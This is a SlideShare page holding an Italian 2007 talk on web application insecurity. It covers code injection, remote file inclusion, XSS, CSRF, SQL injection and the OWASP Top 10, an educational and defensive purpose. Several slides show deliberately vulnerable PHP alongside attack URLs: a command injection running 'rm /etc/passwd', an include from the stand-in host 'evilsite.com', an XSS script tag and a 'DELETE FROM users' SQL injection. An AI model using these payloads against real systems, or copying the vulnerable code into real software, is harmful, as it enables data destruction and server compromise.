Web Application Insecurity L D2007

2,357 views

Published on

Web Application Insecurity

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
2,357
On SlideShare
0
From Embeds
0
Number of Embeds
28
Actions
Shares
0
Downloads
0
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Web Application Insecurity L D2007

  1. 1. Alessandro “jekil” Tanasi [email_address] http://www.tanasi.it Web Application (In)Security LUG Trieste
  2. 2. Introduzione.. Affermazioni illustri di manager, aziende, enti non citati. Ciao Gianni, sai ci siamo fatti fare il sito nuovo, abbiamo speso solo 500 ϵ ..no no, non esiste documentazione. Tanto è solo carta inutile! Ma certo che sono sicuro! Il sito è protetto da firewall e antivirus Anzi.. usiamo un ritrovato della sicurezza chiamato S..S.. SSL! Ci protegge lui, figo no? Ma alla fine, ti dirò, la sicurezza non ci interessa al momento ?
  3. 3. Siti e applicazioni web <ul><li>Il web è un'insieme di servizi applicativi per la distribuzione di contenuti </li></ul><ul><li>Negozi online, online banking, community, e-government </li></ul><ul><li>Una web application prende un input dall'utente , esegue delle operazioni sull'input magari interagendo con componenti di terze parti, mostra in output un risultato in formato HTML </li></ul><ul><li>Quasi sempre scritto “from scratch” </li></ul><ul><li>Utilizzo di uno o più linguaggi di programmazione: PHP, Perl, Pyhton, ASP, .. </li></ul><ul><li>Spesso le funzionalità sono l'unico obbiettivo, spesso il programmatore non ha nozioni di programmazione sicura </li></ul>
  4. 4. Un brutto giorno... <ul><li>Arriva il conto: </li></ul><ul><li>Perdita di clienti </li></ul><ul><li>Problemi legali </li></ul><ul><li>Costi aggiuntivi </li></ul><ul><li>Perdita di credibilità </li></ul>
  5. 5. Quali problemi? <ul><li>Sviluppo web fatto in maniera caotica </li></ul><ul><li>Prima si devono soddisfare i requisiti dettati dall'utente/committente (features), poi se avanza tempo si mette in sicurezza </li></ul><ul><li>Se una cosa funziona bene perchè modificarla? </li></ul><ul><li>Falsi sensi di sicurezza (SSL, firewall) </li></ul>Mancanza di competenze degli sviluppatori, non comprensione dei problemi da parte del management, poca importanza data alla sicurezza. Indisponibilità a investire in cose che non danno un ritorno visibile.
  6. 6. Vulnerabilità comuni To win a war, one must know the way. Sun Tzu The Art of War
  7. 7. Utente, user input <ul><li>Gli utenti sono brave persone, di cui ci si può fidare , e che useranno l'applicazione nel modo corretto , tutti sono miei amici! </li></ul><ul><li>L'applicazione non si aspetta input maliziosi, fiducia implicita nell'input </li></ul><ul><li>E c'era la marmotta che incartava la cioccolata... </li></ul><ul><li>L'input proveniente da un utente non è mai fidato </li></ul><ul><li>L'obbiettivo è mettere l'applicazione in uno stato non previsto , per ottenere comportamenti anomali o informazioni di debugging </li></ul>
  8. 8. Code injection <ul><li>Alcune funzioni (eval, exec, fopen, etc.) valutano codice o effettuano chiamate al sistema operativo </li></ul><ul><li>Inietta codice (PHP script, comandi shell) </li></ul><ul><li>Esecuzione di codice sul web server con i privilegi del web server </li></ul>http://example.com/index.php?arg=marmotta <ul><li><?php </li></ul><ul><ul><li>$name = $_GET['arg']; </li></ul></ul><ul><ul><li>exec (&quot;echo $name&quot;); </li></ul></ul><ul><li>?> </li></ul>http://example.com/index.php?arg= marmotta; rm /etc/passwd
  9. 9. Remote file inclusion <ul><li>Esecuzione di codice remoto </li></ul><ul><li>L'attaccante può far scaricare ed eseguire codice con i privilegi del web server semplicemente modificando l'URL </li></ul><?php include($layout); ?> http://example.com/index.php?layout=green http://example.com/index.php?layout=http://evilsite.com/evilscript
  10. 10. Cross site scripting(XSS) <ul><li>Fiducia implicita nel contenuto del browser </li></ul><ul><li>Un sito fidato viene usato per distribuire contenuti malevoli </li></ul><ul><li>Codice HTML e/o Javascript iniettato </li></ul><?php echo “You searched for $q”; // show results ?> http://example.com/index.php?q=marmotta http://example.com/index.php?q=<script>alert('buh!')</script>
  11. 11. XSS <ul><li>Privacy : Può trasmettere dati privati dell'utente, tracciamento, history </li></ul><ul><li>Autenticazione : furto di credenziali, password manager </li></ul><ul><li>Integrità : Può alterare il sito visitato, phishing </li></ul><ul><li>Disponibilità : causare DoS </li></ul><ul><li>Exploitation del browser e sue estensioni </li></ul><ul><li>Rich Internet Applications (Flash, Acrobat, Java, ActiveX, Silverlight, Media Player) </li></ul><ul><li>Scansione della intranet </li></ul><ul><li>Attacchi alla intranet </li></ul>
  12. 12. CSRF <ul><li>Modello di autenticazione tradizionale: l'utente fa login e tutte le successive richieste sono autenticate </li></ul><ul><li>C ross S ite R equest F orgery </li></ul><ul><li>Forzare il browser a mandare richieste per un sito ad insaputa dell'utente (trasferimenti di denaro, post sul blog) </li></ul><ul><li>Utente forzato a fare una richiesta (autenticata) non voluta </li></ul><img src=&quot;http://google.com/search?q=porno&quot;/>
  13. 13. SQL Injection <ul><li>Molti siti web usano un DBMS per gestire e memorizzare dati </li></ul><ul><li>SQL è un linguaggio (DDL, DML, e altro..) </li></ul><ul><li>Iniezione di query arbitrarie al DBMS, attacco al backend </li></ul><ul><li>Amplificata da errate configurazioni dei DBMS </li></ul><?php mysql_query(“SELECT * FROM users WHERE uid='$var'”); ?> http://example.com/index.php?var=123 http://example.com/index.php?var=aaa'; DELETE FROM users;
  14. 14. Autenticazione debole <ul><li>Gestione dell'autenticazione e della sessione </li></ul><ul><li>Debolezze architetturali (Forgot my pass) </li></ul><ul><li>Authentication bypass </li></ul><ul><li>Session hijacking </li></ul><ul><li>Brute forcing o previsione del session ID </li></ul><ul><li>Cookie Overload / Session Fixation </li></ul><ul><li>I cookie sono un'input utente e come tali vanno trattati </li></ul>
  15. 15. Errori di gestione <ul><li>Software installati e mai aggiornati </li></ul><ul><li>Configurazioni errate, affrettate o di default </li></ul><ul><li>Presenza di file non necessari, di backup, di esempio </li></ul><ul><li>Permessi sbagliati, policy errate su dati privati </li></ul><ul><li>Servizi non necessari abilitati, funziolità non utilizzate abilitate </li></ul><ul><li>Account di default utilizzabili </li></ul><ul><li>Debug abilitato </li></ul>
  16. 16. OWASP Top 10 2007 <ul><li>Cross Site Scripting (XSS) </li></ul><ul><li>Injection Flaws </li></ul><ul><li>Malicious File Execution Code vulnerable to remote file inclusion (RFI) </li></ul><ul><li>Insecure Direct Object Reference </li></ul><ul><li>Cross Site Request Forgery (CSRF) </li></ul><ul><li>Information Leakage and Improper Error Handling </li></ul><ul><li>Broken Authentication and Session Management </li></ul><ul><li>Insecure Cryptographic Storage </li></ul><ul><li>Insecure Communication </li></ul><ul><li>Failure to Restrict URL Access </li></ul>http://www.owasp.org
  17. 17. Ulteriori minacce <ul><ul><li>We wouldn’t need so much network security, </li></ul></ul><ul><ul><li>if we didn’t have such bad software security. </li></ul></ul><ul><ul><li>Bruce Schneier </li></ul></ul>
  18. 18. Web Services <ul><li>Standard per la comunicazione machine to machine (XML, SOAP, WSDL, UDDI) </li></ul><ul><li>Interfaccia alla business logic e hai dati </li></ul><ul><li>Automazione di processi di business (b2b, b2c), nuovi servizi </li></ul><ul><li>Soffrono delle stesse problematiche delle applicazioni web: </li></ul><ul><ul><li>Messaggi di errori pettegoli </li></ul></ul><ul><ul><li>SQL Injection </li></ul></ul><ul><ul><li>Gestione delle eccezioni </li></ul></ul><ul><ul><li>Access control </li></ul></ul><ul><ul><li>Gestione delle sessioni </li></ul></ul><ul><ul><li>Configurazioni errate </li></ul></ul>
  19. 19. Malware <ul><li>Amministratori di siti che includono volutamente malware </li></ul><ul><li>Siti defacciati che includono non volutamente malware </li></ul><ul><li>Malware iniettato in aree pubbliche (XSS persistente) </li></ul><ul><li>Click su link malformati in maniera apposita (XSS non persistente) </li></ul><ul><li>Worm e virus dal mondo reale: Myspace.com 2005, Yamanner 2006 </li></ul>
  20. 20. Altre vulnerabilità <ul><li>XML Security </li></ul><ul><li>JJavascript manipulationSON Security </li></ul><ul><li>AJAX Security </li></ul><ul><li>Buffer overflow </li></ul><ul><li>Spam relay </li></ul><ul><li>Timing Attacks </li></ul><ul><li>ActiveX Controls </li></ul><ul><li>Java applets (sandbox bypassing) </li></ul><ul><li>Javascript manipulation </li></ul><ul><li>Xpath Injection </li></ul><ul><li>..e molto altro </li></ul>
  21. 21. Conclusioni <ul><li>Le applicazioni web sono quasi sempre scritte male o in fretta </li></ul><ul><li>Quindi molto vulnerabili, principalmente a causa di problemi legati alla validazione dell'input o problemi architetturali </li></ul><ul><li>Il codice delle web application fa parte del perimetro di sicurezza </li></ul><ul><li>Le web application sono un bersaglio ghiotto </li></ul><ul><li>La tecnologia cambia velocemente (JS, AJAX, WS), l'innovazione spesso non avviene in modo corretto </li></ul>

×